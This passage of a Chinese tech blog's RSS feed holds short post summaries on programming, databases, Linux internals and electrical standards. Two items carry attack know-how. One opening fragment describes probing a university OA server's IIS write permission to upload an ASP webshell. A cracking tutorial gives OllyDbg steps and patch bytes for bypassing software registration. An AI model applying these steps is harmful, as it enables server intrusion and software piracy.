的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了“写”和“脚本和可执行程序”的话，那么Web用户就可以上传一个程序并且执行它。&#xA;二、实际渗透测试&#xA;1.IIS写权限漏洞探测&#xA;以某高校的OA系统为例，其IP地址为202.115.*.*。通过上面的测试，发现该IIS目录可以进行读写操作，直接打开该IP地址可以正常访问Web页面，如图1所示。&#xA;说明：&#xA;该IP地址对外仅仅开放80和1433端口，由于所有业务系统是在登录后才能使用，使用明小子的Domain3.5、教主的HDSI3.0以及Zwell对Jsky等SQL注入工具均无漏洞利用点，无法通过SQL注入来获得突破。&#xA;2.直接提交文件&#xA;由于该IIS目录可以读写，最简单的办法就是提交一个asp的Webshell上去，但在实际提交asp文件时，IIS提示：“HTTP/1.1 403 Forbidden”错误，直接提交asp文件失败，所以直接用Post方式写asp不行了。</description>
    </item>
    <item>
      <title>关于C/C&#43;&#43;中全局变量的初始化问题的深入思考</title>
      <link>https://bchobby.github.io/posts/26d850ef169db1ddf3fa4231f9910f1d/</link>
      <pubDate>Tue, 23 Oct 2012 23:21:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26d850ef169db1ddf3fa4231f9910f1d/</guid>
      <description>前言：&#xA;前日，在一次C++课程上，刘老师在举例说明构造函数和析构函数的功能时，提到了全局变量初始化时的构造函数的行为。构造函数在main函数之前初始化全局变量。当然在C++下我是深信不疑的。但随后老师声称C语言下的全局变量也是如此，因为C没有构造和析构函数，所以我们无法看到这一过程，在C++下可以在构造和析构函数中向屏幕打印信息，进而可以观察全局变量的初始化和生存期。&#xA;这个观点无疑使我心头一震，作为C的痴迷者，长期以来在我头脑中的印象是，全局变量在编译期就完成初始化了。难道我的观念是错误的？！难道C真的也是在main函数之前，在程序运行初期才初始化？！&#xA;于是我翻看了《C语言参考手册》这本书上没有明确的答案，再翻看著名的K&amp;amp;R的《C程序设计语言》中只有括号里面的一句话“在概念上.......”也是含糊其辞。（现在想想这个问题可能和编译器有关，所以丹爷爷也没说明太多）&#xA;在网上查询了一下，关于这个问题，持什么观点的都有，没有一个权威的答案。&#xA;只能靠自己了，动手实验！&#xA;先给出我的结论：&#xA;C和C++中的一般全局变量（不包括类class）是在编译期确定的初始值，而不是在程序运行时，在main函数之前初始化的。&#xA;C++中的类的全局变量是在程序运行时，在main函数之前初始化的。&#xA;预热知识：&#xA;C或者C++语言，明面上的入口函数是main(argc,argv)，或者tmain、wmain、WinMain等等。但实际上，是C Runtime的startup代码中的void mainCRTStartup(void)函数，调用了编程者写的main函数。这个函数定义在VisualC++安装目录的crt\src\目录下的某个.c文件中（视VC++的版本不同，存放的文件也不同）。它在执行一些初始化操作，如获取命令行参数、获取环境变量值、初始化全局变量、初始化io的所需各项准备之后，调用main(argc,argv)。main函数返回后，mainCRTStartup还需要调用全局变量的析构函数或者atexit()所登记的一些函数。往深里说，是在链接生成可执行文件时，告诉链接器这个可执行文件的entry就是mainCRTStartup。当然，我们也可以对编译器进行设置，使其不插入mainCRTStartup函数代码&#xA;以VC++6.0为例设置：Project-&amp;gt;Settings-&amp;gt;Link 在Category中选择Output，在Entry-point symbol中填上main 即可。&#xA;-------------------------&#xA;实验一：&#xA;1， C语言环境下：&#xA;实验准备：&#xA;int a ; int main(void) { return a+3 ; } 在编译器中设置入口函数为main（具体方法见上面）&#xA;这样，我们让编译器生成的程序，直接从main函数中进入，而不是先执行mainCRTStartup函数做一些准备工作。&#xA;结果预测：&#xA;这样，如果函数返回的是3，则说明此全局变量是在编译期就被初始化为0了，如果函数返回的是其它数字，则说明此全局变量是在程序运行时，main函数运行前进行的初始化。&#xA;实验结果：&#xA;进入控制台（运行cmd命令），运行编译后的程序（因为程序没有向屏幕输出结果，我们看不到任何现象），继续输入命令：echo %ERRORLEVEL% 则显示3，此即为函数的返回值。&#xA;（echo是显示其后的值，系统把前面运行的程序的返回值放在%ERRORLEVEL%中，故我们可以通过此方法获得主函数的返回值）&#xA;同理：对于结构体全局变量&#xA;struct A { int a ; } sTest; int main(void) { return sTest.a+3 ; } 函数也返回3.&#xA;实验结论：&#xA;在C语言中，全局变量是在编译期完成初始化的。&#xA;（在本实验中我们没有使用I/O函数把结果打印出来，因为I/O函数的调用之前必须要初始化内存中的某堆空间，而这个工作是由main函数之前的mainCRTStartup函数来做的。而我们设置让编译器跳过这个函数，故会在运行时出错。）&#xA;实验二：&#xA;C++语言环境下&#xA;实验准备：&#xA;class A { public: int a ; A(){a=10;} ~A(){} } ; A cTest ; int main(void) { return cTest.</description>
    </item>
    <item>
      <title>java异常中Exception捕获不到的异常</title>
      <link>https://bchobby.github.io/posts/0f2e0300c068098e050ccdea65b7c5f7/</link>
      <pubDate>Wed, 17 Oct 2012 20:02:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f2e0300c068098e050ccdea65b7c5f7/</guid>
      <description>一 概念&#xA;众所周知java提供了丰富的异常类，这些异常类之间有严格的集成关系，分类为&#xA;父类Throwable&#xA;Throwable的两个子类Error和Exception&#xA;Exception的两个子类CheckedException和RuntimeException&#xA;二 发现问题&#xA;通常捕获异常catch的时候最大catch到Exception这个类就为止了，当然这能够处理大部分的异常情况。&#xA;但是值得注意的是，Exception不能捕捉到所有的异常。比如InvocationTargetException。&#xA;三 解决办法&#xA;catch(Throwable t)&#xA;{ }</description>
    </item>
    <item>
      <title>C#使用Chart示例</title>
      <link>https://bchobby.github.io/posts/34594a3177df731c57ae0298c951bd46/</link>
      <pubDate>Thu, 11 Oct 2012 14:13:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34594a3177df731c57ae0298c951bd46/</guid>
      <description>第一个简单的chart： spline// Create new data series and set it&#39;s visual attributes&#xA;Series series = new Series(&#34;Spline&#34;);&#xA;series.ChartType = SeriesChartType.Spline;&#xA;series.BorderWidth = 3;&#xA;series.ShadowOffset = 2;&#xA;// Populate new series with data&#xA;series.Points.AddY(67);&#xA;series.Points.AddY(57);&#xA;series.Points.AddY(83);&#xA;series.Points.AddY(23);&#xA;series.Points.AddY(70);&#xA;series.Points.AddY(60);&#xA;series.Points.AddY(90);&#xA;series.Points.AddY(20);&#xA;// Add series into the chart&#39;s series collection&#xA;Chart1.Series.Add(series);&#xA;同时显示2条曲线&#xA;// Populate series with random data&#xA;Random random = new Random();&#xA;for (int pointIndex = 0; pointIndex &amp;lt; 10; pointIndex++)</description>
    </item>
    <item>
      <title>开关、断路器、隔离器的区别</title>
      <link>https://bchobby.github.io/posts/17c0f3168fd7e3d52848190b0103b406/</link>
      <pubDate>Thu, 04 Oct 2012 17:30:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17c0f3168fd7e3d52848190b0103b406/</guid>
      <description>最近在读几个光伏领域的IEC标准，里面涉及到了几个开关类的设备，一时有点分不清。花了点时间查了查，这里做个总结。&#xA;开关电器 switching device 用于接通或分断一个或几个电路中电流的电器。（GB 14048.1-2006）&#xA;(机械的)开关 switch (mechanical) 在正常的电路条件下（包括过载工作条件）下能接通、承载和分断电流，也能在规定的非正常条件（例如短路条件）下承载电流一定时间的一种机械开关电器。 （GB 14048.1-2006）&#xA;隔离器 disconnector 在断开位置上能符合规定隔离功能要求的一种机械开关电器。（GB 14048.1-2006）&#xA;隔离器 vs 开关：隔离器与开关的区别在于通常意义下的开关要能在工作状态下（包括过载条件下）接通和分断电流，而隔离器无灭弧能力，只能在没有负荷电流的情况下分、合电路。由于隔离器结构简单，所以也便宜得多。多说一句，IEC标准不要求开关能在短路条件下分断电流。&#xA;隔离开关 switch disconnector Mechanical switching device capable of making, carrying and breaking currents in normal circuit conditions and, when specified, in given operating overload conditions. In addition, it is able to carry, for a specified time, currents under specified abnormal circuit conditions, such as short-circuit conditions. Moreover, it complies with the requirements for a disconnector .</description>
    </item>
    <item>
      <title>简单破解教程 笔记</title>
      <link>https://bchobby.github.io/posts/f48118464b5f2bf3710af3896b05afbb/</link>
      <pubDate>Wed, 03 Oct 2012 15:31:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f48118464b5f2bf3710af3896b05afbb/</guid>
      <description>第一课简单爆破收费外挂&#xA;（无壳情况）&#xA;1,载入OD(小生我怕版比较好用)&#xA;2，点击&amp;gt;&amp;gt; 让程序运行起来&#xA;3，点击要破解软件的开始注册按钮（会弹出失败字样提示框，先不用管它）&#xA;4，点“调试”--&amp;gt;&#34;执行用户代码&#34;&#xA;5，点击第3步中弹出的错误提示框（确定按钮）&#xA;6，点工具栏的“K”按钮&#xA;7，找到前两个“包含”字样中间的行，双击之&#xA;8，右键--&amp;gt;虫文搜索引擎--&amp;gt;ASIIC&#xA;9,找到“登录错误”提示--&amp;gt;找到其下的第一个CALL，复制该行代码，记录下来&#xA;10，找到“登录成功”提示--&amp;gt;找到其上的Push语句的第一行，复制该行代码，记录下来&#xA;11，转到“登录错误”提示下的CALL语句行，汇编--&amp;gt;call 10中记录的push语句地址&#xA;12，右键--&amp;gt;复制到可执行文件--&amp;gt;复制全部（所有修改）--&amp;gt;右键--&amp;gt;保存--&amp;gt;ok&#xA;第二课简单的追出注册码 （无壳情况）&#xA;1,载入OD(小生我怕版比较好用)&#xA;2，点击&amp;gt;&amp;gt; 让程序运行起来&#xA;3，点击要破解软件的开始注册按钮（会弹出失败字样提示框，先不用管它）&#xA;4，点“调试”--&amp;gt;&#34;执行用户代码&#34;&#xA;5，点击第3步中弹出的错误提示框（确定按钮）&#xA;6，点工具栏的“K”按钮&#xA;7，找到前两个“包含”字样中间的行，双击之&#xA;8，右键--&amp;gt;虫文搜索引擎--&amp;gt;ASIIC&#xA;9，找到“登录成功”提示--&amp;gt;找到其上第一个“Hex数据”为55 的那行，点F2下断点&#xA;10，点击&amp;gt;&amp;gt; 让程序运行起来&#xA;11，输入随意注册码--&amp;gt;点击待破解程序上的开始&#xA;12，F8 单步走&#xA;13,记录其中出现的ASCII码字串（其中包含自己输入的假码，正确的注册码）&#xA;第三课中等爆破收费外挂&#xA;1,载入OD(小生我怕版比较好用),会弹出错提示，先择“ 取消”。&#xA;2，点击&amp;gt;&amp;gt; 让程序运行起来&#xA;3，点击要破解软件的开始注册按钮（会弹出失败字样提示框，先不用管它）&#xA;4，点“调试”--&amp;gt;&#34;执行用户代码&#34;，),会弹出错提示，先择“ 取消”。（不知道是不是应该把OD设为默认的“应用程序出错”，调试工具）&#xA;5，右键--&amp;gt;“脱壳调试进程”--&amp;gt;&#34;脱壳&#34;--&amp;gt;保存&#xA;6，OD载入第5步中脱出来的程序,会弹出错提示，先择“ 取消”。&#xA;7，右键--&amp;gt;虫文搜索引擎--&amp;gt;ASIIC&#xA;8，开始，改call吧孩子&#xA;樱花补丁制作工具的使用：&#xA;1，点浏览，找到没破解的程序&#xA;2，举例：&#xA;内存地址：00406F1E&#xA;原始指令：E8 033E0100&#xA;修改指令：E8 9F150000 （1）00406F1E E8 033E0100 call 下壳.0041AD26（例：此为登录框下面弟一个CALL）&#xA;（2）004084C2 6A 00 push 0x0 （例：此为登录成功上面第一个PUSH (0x..)）&#xA;（3）00406F1E E8 9F150000 call 下壳.</description>
    </item>
    <item>
      <title>系统出现cursor: mutex X等待导致实例HANG死</title>
      <link>https://bchobby.github.io/posts/07612ce1a8e6e3975e03ec5f699a2561/</link>
      <pubDate>Mon, 24 Sep 2012 23:43:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07612ce1a8e6e3975e03ec5f699a2561/</guid>
      <description>客户数据库出现明显的cursor: mutex X等待，尝试通过ALTER SYSTEM KILL SESSION的方式释放等待的会话，结果导致整个实例出现HANG死的情况。&#xA;数据库版本为10.2.0.4，检查数据库问题发生时刻的AWR报告，发现cursor: mutex X等待在AWR报告中并不明显，不但没有出现在TOP 5里，而在整个等待事件的排名中也排在非常靠后的位置，且该事件的总等待时间为0，这与客户反馈的大约70多个会话持续等待cursor: mutex X事件的描述极为不符。&#xA;导致这个现象的原因可能有两种，一种是虽然从V$SESSION中看到当前的等待是cursor :mutex X事件，但是该事件已经结束，因此会话的等待时间并未记录并汇总到这个事件的等待时间中；另外一种情况是Oracle对于这个事件的统计值存在错误。&#xA;继续分析AWR报告，可以发现VERSION COUNT报告中，最高的两个SQL已经远远超过了正常的范围，达到了13W以上，毫无疑问这肯定不正常的情况所致：&#xA;Version Count Executions SQL Id&#xA;SQL Module&#xA;SQL Text&#xA;150,649&#xA;7q1tdx7ysmg6f&#xA;** SQL Text Not Available **&#xA;134,787&#xA;fa3vfvs859n5n&#xA;** SQL Text Not Available **&#xA;10,732&#xA;gr0wk1tf0npm4&#xA;select count(:&#34;SYS_B_0&#34;) as ro...&#xA;6,547&#xA;6r91qu3knm3vz&#xA;** SQL Text Not Available **&#xA;5,888&#xA;36ft4hmuru5d2&#xA;** SQL Text Not Available **&#xA;排在第3和第4位的VERSION COUNT达到5000以上就已经不太正常了，何况最高的两条语句的值已经超过了13W，不用说这两条语句会占用大量的共享池空间：&#xA;Sharable Mem (b)</description>
    </item>
    <item>
      <title>viewDidUnload，viewDidLoad,viewWillAppear,viewWillDisappear的作用以及区别</title>
      <link>https://bchobby.github.io/posts/381702fd637daa17d73ef42e11784fa6/</link>
      <pubDate>Mon, 24 Sep 2012 09:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/381702fd637daa17d73ef42e11784fa6/</guid>
      <description>viewDidLoad:在视图加载后被调用 viewWillAppear:视图即将可见时调用。默认情况下不执行任何操作 viewDidAppear: 视图已完全过渡到屏幕上时调用 viewWillDisappear:视图被驳回时调用，覆盖或以其他方式隐藏。默认情况下不执行任何操作 viewDidDisappear:视图被驳回后调用，覆盖或以其他方式隐藏。默认情况下不执行任何操作 Ps：-viewWillAppear:和-viewDidAppear:的区别是什么呢？ 答：设置一个uitextfield 然后让视图出现的时候 显示键盘&#xA;在viewwillappear无法实现的但是在viewdidappear能实现改功能。 字面就看的出来区别了viewwillappear是说界面还没有显示，可以做一些界面相关的数据准备。viewdidappear是界面已经显示完成了，如果这个时候再调整一些稍微耗时的界面设置操作就不是很合适吧。</description>
    </item>
    <item>
      <title>SDP介绍</title>
      <link>https://bchobby.github.io/posts/b24a8138605cc9a715c20cdce6d17507/</link>
      <pubDate>Thu, 20 Sep 2012 15:38:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b24a8138605cc9a715c20cdce6d17507/</guid>
      <description>会话描述协议（Session Description Protocol，SDP)&#xA;（1）SDP 是 传 送 会 话 信 息 的 协 议， 包 括 会 话 的 地 址、 时 间、 媒 体 和 建 立 等 信 息。 它 定 义 了 会 话 描 述 的 统 一 格 式。 （2）SDP 描 述 的 内 容 应 包 括： 会 话 名 和 目 的&#xA;会 话 激 活 的 时 间 段&#xA;构 成 会 话 的 媒 体</description>
    </item>
    <item>
      <title>boost graph lib 小试牛刀</title>
      <link>https://bchobby.github.io/posts/61e84d135fa5af8b9039204a65a538ca/</link>
      <pubDate>Tue, 11 Sep 2012 23:38:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61e84d135fa5af8b9039204a65a538ca/</guid>
      <description>最近要做社会网络的社区发现，发现用BGL能减少不少代码量。经过一番调研发现BGL封装的很牛叉，Dijkstra等算法统统具备，奈何自己对泛型编程不太熟，&#xA;遇到问题还是很纠结。Primer泛型编程、算法部分和STL源码分析接下来有时间一定要读下。&#xA;下面仅以邻接链表和自定义节点为例&#xA;typedef adjacency_list&amp;lt;listS,vecS,undirectedS,Node,property&amp;lt;edge_weight_t,int&amp;gt; &amp;gt; Graph; typedef graph_traits&amp;lt;Graph&amp;gt;::vertex_descriptor VertexDescriptor; typedef graph_traits&amp;lt;Graph&amp;gt;::edge_descriptor EdgeDescriptor; typedef graph_traits&amp;lt;Graph&amp;gt;::edge_iterator EdgeIterator; typedef graph_traits&amp;lt;Graph&amp;gt;::vertex_iterator VertexIterator; typedef std::pair&amp;lt;Node,Node&amp;gt; Edge; 类型声明。其中Node为自定义类型，property分为内部属性和外部属性，这样声明是内部属性，将随着Graph的生命周期存在，在做社区发现时基本不需要边的权重。&#xA;添加边和顶点分两种方式：&#xA;1.先添加点，再添加边&#xA;Graph g; for (int i=0; i&amp;lt;vertice_num; ++i) { Node onenode; add_vertex(onenode,g); } // 索引属性映射, 可获得顶点的索引属性 property_map&amp;lt;Graph,vertex_index_t&amp;gt;::type index = get(vertex_bundle,g); // 遍历顶点 pair&amp;lt;VertexIterator,VertexIterator&amp;gt; vrange = vertices(g); for (VertexIterator Iter=vrange.first; Iter!=vrange.second; ++Iter) { cout &amp;lt;&amp;lt; index[*Iter] &amp;lt;&amp;lt; &#34;. &#34; &amp;lt;&amp;lt; g[*Iter].m_sName &amp;lt;&amp;lt; endl; } // 添加边 VertexIterator Iter=vrange.</description>
    </item>
    <item>
      <title>Apache james 安装配置手册（稍有改动）</title>
      <link>https://bchobby.github.io/posts/a12839438fe7aad6185437be05b29c20/</link>
      <pubDate>Mon, 10 Sep 2012 11:40:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a12839438fe7aad6185437be05b29c20/</guid>
      <description>一.前期的准备工作&#xA;1.操作系统&#xA;linux CentOS5.8（其他的版本应该也可以这样操作）&#xA;2.搭建工具&#xA;jdk 1.7(需要1.4以上的版本)&#xA;Mysql 4.1&#xA;3.邮件服务器&#xA;Apache-James2.3.2&#xA;4.中间件&#xA;Tomcat5.0.28 如果是CS结构的就不需要中间件了，如果需要中间件的话就是BS结构的,这里我只介绍cs结构的,因为bs结构的还没有试过,时间太短,一个人研究总是花很长时间&#xA;5.邮件系统客户端&#xA;CS结构：Outlook、Foxmail&#xA;BS结构：claros-intouch&#xA;6.数据库&#xA;Mysql(如果希望邮件服务器的数据以数据库表的的形式存在就需要数据库了,如果以文件的形式存在就不需要数据库了)&#xA;二.linux的前期配置&#xA;A.&amp;gt;查看域名：&#xA;[root@baidu ~]# cat /etc/hosts&#xA;# Do not remove the following line, or various programs&#xA;# that require network functionality will fail.&#xA;127.0.0.1 localhost&#xA;192.168.0.8 baidu.com baidu(这是个例子,具体的要看自己去配置)/*因为没有dns域名，我用的是ip地址，10.96.92.94*/&#xA;内容格式： 本机的IP地址 域名 主机名&#xA;B.&amp;gt;如果没有配置linux系统的主机名和域名就需要配置下，内容如下：/*这一环节之前设定好可不用配置*/&#xA;查看network主机名：[root@baidu ~]# cat /etc/sysconfig/network&#xA;NETWORKING=yes&#xA;HOSTNAME=（localhost）&#xA;如果没有配合就用vi命令配置下主机名：&#xA;[root@timesafer ~]# vi /etc/sysconfig/network&#xA;NETWORKING=yes&#xA;HOSTNAME=（localhost）&#xA;修改完毕，保存退出 :wq&#xA;修改域名hosts： [root@baidu~]# cat /etc/hosts</description>
    </item>
    <item>
      <title>iphone版手机如何安装apk包</title>
      <link>https://bchobby.github.io/posts/ebfa46cbeadc00e82ba41e02eca74079/</link>
      <pubDate>Fri, 07 Sep 2012 10:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebfa46cbeadc00e82ba41e02eca74079/</guid>
      <description>之前用安卓版的手机测试，了解到可以用数据线连接电脑，再使用360手机卫士就可以连接手机和电脑下载apk包了，还有其他工具，如豌豆荚等。或者是用二维码就可以拿到下载地址，直接去安装了&#xA;后来需要测试iphone版的应用，每次都需要开发帮我们安装。今天过去问了一下，原来他们是用Xcode工具，下载回来包。有时间的话，可以学学如何去下载安装ipod机的apk包&#xA;转载于:https://blog.51cto.com/chengying/984222</description>
    </item>
    <item>
      <title>linux内核空间和用户空间的是怎样区别的，如何交互，如何从用户空间进入内核空间</title>
      <link>https://bchobby.github.io/posts/4d97ee89dc48e02d97ee1cef942482ad/</link>
      <pubDate>Thu, 30 Aug 2012 12:55:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d97ee89dc48e02d97ee1cef942482ad/</guid>
      <description>linux驱动程序一般工作在内核空间，但也可以工作在用户空间。下面我们将详细解析，什么是内核空间，什么是用户空间，以及如何判断他们。&#xA;Linux简化了分段机制，使得虚拟地址与线性地址总是一致，因此，Linux的虚拟地址空间也为0~4G.Linux内核将这4G字节的空间分为两部分。将最高的1G字节(从虚拟地址0xC0000000到0xFFFFFFFF)，供内核使用，称为&#34;内核空间&#34;.而将较低的3G字节(从虚拟地址 0x00000000到0xBFFFFFFF)，供各个进程使用，称为&#34;用户空间)。因为每个进程可以通过系统调用进入内核，因此，Linux内核由系统内的所有进程共享。于是，从具体进程的角度来看，每个进程可以拥有4G字节的虚拟空间。&#xA;Linux使用两级保护机制：0级供内核使用，3级供用户程序使用。从图中可以看出(这里无法表示图)，每个进程有各自的私有用户空间(0~3G)，这个空间对系统中的其他进程是不可见的。最高的1GB字节虚拟内核空间则为所有进程以及内核所共享。&#xA;内核空间中存放的是内核代码和数据，而进程的用户空间中存放的是用户程序的代码和数据。不管是内核空间还是用户空间，它们都处于虚拟空间中。&#xA;虽然内核空间占据了每个虚拟空间中的最高1GB字节，但映射到物理内存却总是从最低地址(0x00000000)开始。对内核空间来说，其地址映射是很简单的线性映射，0xC0000000就是物理地址与线性地址之间的位移量，在Linux代码中就叫做PAGE_OFFSET.&#xA;内核空间和用户空间之间如何进行通讯？&#xA;内核空间和用户空间一般通过系统调用进行通信。&#xA;如何判断一个驱动是用户模式驱动还是内核模式驱动？ 判断的标准是什么？&#xA;用户空间模式的驱动一般通过系统调用来完成对硬件的访问，如通过系统调用将驱动的io空间映射到用户空间等。因此，主要的判断依据就是系统调用。&#xA;内核空间和用户空间上不同太多了，说不完，比如用户态的链表和内核链表不一样;用户态用printf,内核态用printk;用户态每个应用程序空间是虚拟的，相对独立的，内核态中却不是独立的，所以编程要非常小心。等等。&#xA;还有用户态和内核态程序通讯的方法很多，不单单是系统调用，实际上系统调用是个不好的选择，因为需要系统调用号，这个需要统一分配。&#xA;可以通过ioctl、sysfs、proc等来完成。&#xA;在进行设备驱动程序，内核功能模块等系统级开发时，通常需要在内核和用户程序之间交换信息。Linux提供了多种方法可以用来完成这些任务。本文总结了各种常用的信息交换方法，并用简单的例子演示这些方法各自的特点及用法。其中有大家非常熟悉的方法，也有特殊条件下方可使用的手段。通过对比明确这些方法，可以加深我们对Linux内核的认识，更重要的是，可以让我们更熟练驾御linux内核级的应用开发技术。&#xA;内核空间 (kernel-space) VS 用户空间 (user-space) 作为一个Linux开发者，首先应该清楚内核空间和用户空间的区别。关于这个话题，已经有很多相关资料，我们在这里简单描述如下：&#xA;现代的计算机体系结构中存储管理通常都包含保护机制。提供保护的目的，是要避免系统中的一个任务访问属于另外的或属于操作系统的存储区域。如在IntelX86体系中，就提供了特权级这种保护机制，通过特权级别的区别来限制对存储区域的访问。 基于这种构架，Linux操作系统对自身进行了划分：一部分核心软件独立于普通应用程序，运行在较高的特权级别上，（Linux使用Intel体系的特权级3来运行内核。）它们驻留在被保护的内存空间上，拥有访问硬件设备的所有权限，Linux将此称为内核空间。&#xA;相对的，其它部分被作为应用程序在用户空间执行。它们只能看到允许它们使用的部分系统资源，并且不能使用某些特定的系统功能，不能直接访问硬件，不能直接访问内核空间，当然还有其他一些具体的使用限制。（Linux使用Intel体系的特权级0来运行用户程序。）&#xA;从安全角度讲将用户空间和内核空间置于这种非对称访问机制下是很有效的，它能抵御恶意用户的窥探，也能防止质量低劣的用户程序的侵害，从而使系统运行得更稳定可靠。但是，如果像这样完全不允许用户程序访问和使用内核空间的资源，那么我们的系统就无法提供任何有意义的功能了。为了方便用户程序使用在内核空间才能完全控制的资源，而又不违反上述的特权规定，从硬件体系结构本身到操作系统，都定义了标准的访问界面。关于X86系统的细节，请查阅参考资料1&#xA;一般的硬件体系机构都提供一种“门”机制。“门”的含义是指在发生了特定事件的时候低特权的应用程序可以通过这些“门”进入高特权的内核空间。对于IntelX86体系来说，Linux操作系统正是利用了“系统门”这个硬件界面（通过调用int $0x80机器指令)，构造了形形色色的系统调用作为软件界面，为应用程序从用户态陷入到内核态提供了通道。通过“系统调用”使用“系统门”并不需要特别的权限，但陷入到内核的具体位置却不是随意的，这个位置由“系统调用”来指定，有这样的限制才能保证内核安全无虞。我们可以形象地描述这种机制：作为一个游客，你可以买票要求进入野生动物园，但你必须老老实实的坐在观光车上，按照规定的路线观光游览。当然，不准下车，因为那样太危险，不是让你丢掉小命，就是让你吓坏了野生动物。&#xA;出于效率和代码大小的考虑，内核程序不能使用标准库函数（当然还有其它的顾虑，详细原因请查阅参考资料2）因此内核开发不如用户程序开发那么方便。&#xA;内核空间和用户空间的相互作用 现在，越来越多的应用程序需要编写内核级和用户级的程序来一起完成具体的任务，通常采用以下模式：首先，编写内核服务程序利用内核空间提供的权限和服务来接收、处理和缓存数据；然后编写用户程序来和先前完成的内核服务程序交互，具体来说，可以利用用户程序来配置内核服务程序的参数，提取内核服务程序提供的数据，当然，也可以向内核服务程序输入待处理数据。&#xA;比较典型的应用包括: Netfilter(内核服务程序：防火墙)VS Iptable（用户级程序：规则设置程序）；IPSEC(内核服务程序：VPN协议部分)VS IKE(用户级程序：vpn密钥协商处理)；当然还包括大量的设备驱动程序及相应的应用软件。这些应用都是由内核级和用户级程序通过相互交换信息来一起完成特定任务的。&#xA;信息交互方法 用户程序和内核的信息交换是双向的，也就是说既可以主动从用户空间向内核空间发送信息，也可以从内核空间向用户空间提交数据。当然，用户程序也可以主动地从内核提取数据。下面我们就针对内核和用户交互数据的方法做一总结、归纳。&#xA;信息交互按信息传输发起方可以分为用户向内核传送/提取数据和内核向用户空间提交请求两大类，先来说说：&#xA;由用户级程序主动发起的信息交互。&#xA;（1）编写自己的系统调用 从前文可以看出，系统调用是用户级程序访问内核最基本的方法。目前linux大致提供了二百多个标准的系统调用，并且允许我们添加自己的系统调用来实现和内核的信息交换。比如我们希望建立一个系统调用日志系统，将所有的系统调用动作记录下来，以便进行入侵检测。此时，我们可以编写一个内核服务程序。该程序负责收集所有的系统调用请求，并将这些调用信息记录到在内核中自建的缓冲里。我们无法在内核里实现复杂的入侵检测程序，因此必须将该缓冲里的记录提取到用户空间。最直截了当的方法是自己编写一个新系统调用实现这种提取缓冲数据的功能。当内核服务程序和新系统调用都实现后，我们就可以在用户空间里编写用户程序进行入侵检测任务了，入侵检测程序可以定时、轮训或在需要的时候调用新系统调用从内核提取数据，然后进行入侵检测(具体步骤和代码参见Linux内核之旅网站电子杂志第四期)。&#xA;（2）编写驱动程序 Linux/UNIX的一个特点就是把所有的东西都看作是文件(every thing is a file)。系统定义了简洁完善的驱动程序界面，客户程序可以用统一的方法透过这个界面和内核驱动程序交互。而大部分系统的使用者和开发者已经非常熟悉这种界面以及相应的开发流程了。&#xA;驱动程序运行于内核空间，用户空间的应用程序通过文件系统中/dev/目录下的一个文件来和它交互。这就是我们熟悉的那个文件操作流程：open() —— read() —— write() —— ioctl() ——close()。（需要注意的是也不是所有的内核驱动程序都是这个界面，网络驱动程序和各种协议栈的使用就不大一致，比如说套接口编程虽然也有open()和close()等概念，但它的内核实现以及外部使用方式都和普通驱动程序有很大差异。）关于这部分的编程细节，请查阅参考资料3、4。&#xA;设备驱动程序在内核中要做的中断响应、设备管理、数据处理等等各种工作这篇文章不去关心，我们把注意力集中在它与用户级程序交互这一部分。操作系统为此定义了一种统一的交互界面，就是前面所说的open(), read(), write(), ioctl()和close()等等。每个驱动程序按照自己的需要做独立实现，把自己提供的功能和服务隐藏在这个统一界面下。客户级程序选择需要的驱动程序或服务（其实就是选择/dev/目录下的文件），按照上述界面和文件操作流程，就可以跟内核中的驱动交互了。其实用面向对象的概念会更容易解释，系统定义了一个抽象的界面（abstract interface），每个具体的驱动程序都是这个界面的实现（implementation）。&#xA;所以驱动程序也是用户空间和内核信息交互的重要方式之一。其实ioctl, read, write本质上讲也是通过系统调用去完成的，只是这些调用已被内核进行了标准封装，统一定义。因此用户不必像填加新系统调用那样必须修改内核代码，重新编译新内核，使用虚拟设备只需要通过模块方法将新的虚拟设备安装到内核中（insmod上）就能方便使用。关于此方面设计细节请查阅参考资料5，编程细节请查阅参考资料6。&#xA;在linux中，设备大致可分为：字符设备，块设备，和网络接口（字符设备包括那些必须以顺序方式，像字节流一样被访问的设备；如字符终端，串口等。块设备是指那些可以用随机方式，以整块数据为单位来访问的设备，如硬盘等；网络接口，就指通常网卡和协议栈等复杂的网络输入输出服务）。如果将我们的系统调用日志系统用字符型驱动程序的方式实现，也是一件轻松惬意地工作。我们可以将内核中收集和记录信息的那一部分编写成一个字符设备驱动程序。虽然没有实际对应的物理设备，但这并没什么问题：Linux的设备驱动程序本来就是一个软件抽象，它可以结合硬件提供服务，也完全可以作为纯软件提供服务（当然，内存的使用我们是无法避免的）。在驱动程序中，我们可以用open来启动服务，用read()返回处理好的记录，用ioctl()设置记录格式等，用close()停止服务，write()没有用到，那么我们可以不去实现它。然后在/dev/目录下建立一个设备文件对应我们新加入内核的系统调用日志系统驱动程序。&#xA;（3） 使用 proc 文件系统 proc是Linux提供的一种特殊的文件系统，推出它的目的就是提供一种便捷的用户和内核间的交互方式。它以文件系统作为使用界面，使应用程序可以以文件操作的方式安全、方便的获取系统当前运行的状态和其它一些内核数据信息。&#xA;proc文件系统多用于监视、管理和调试系统，我们使用的很多管理工具如ps,top等，都是利用proc来读取内核信息的。除了读取内核信息，proc文件系统还提供了写入功能。所以我们也就可以利用它来向内核输入信息。比如，通过修改proc文件系统下的系统参数配置文件（/proc/sys），我们可以直接在运行时动态更改内核参数；再如，通过下面这条指令：</description>
    </item>
    <item>
      <title>Shell读文件的几种方法总结（b shell)</title>
      <link>https://bchobby.github.io/posts/76d23b06abf3185de67eebd40b54f6b5/</link>
      <pubDate>Fri, 24 Aug 2012 18:05:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76d23b06abf3185de67eebd40b54f6b5/</guid>
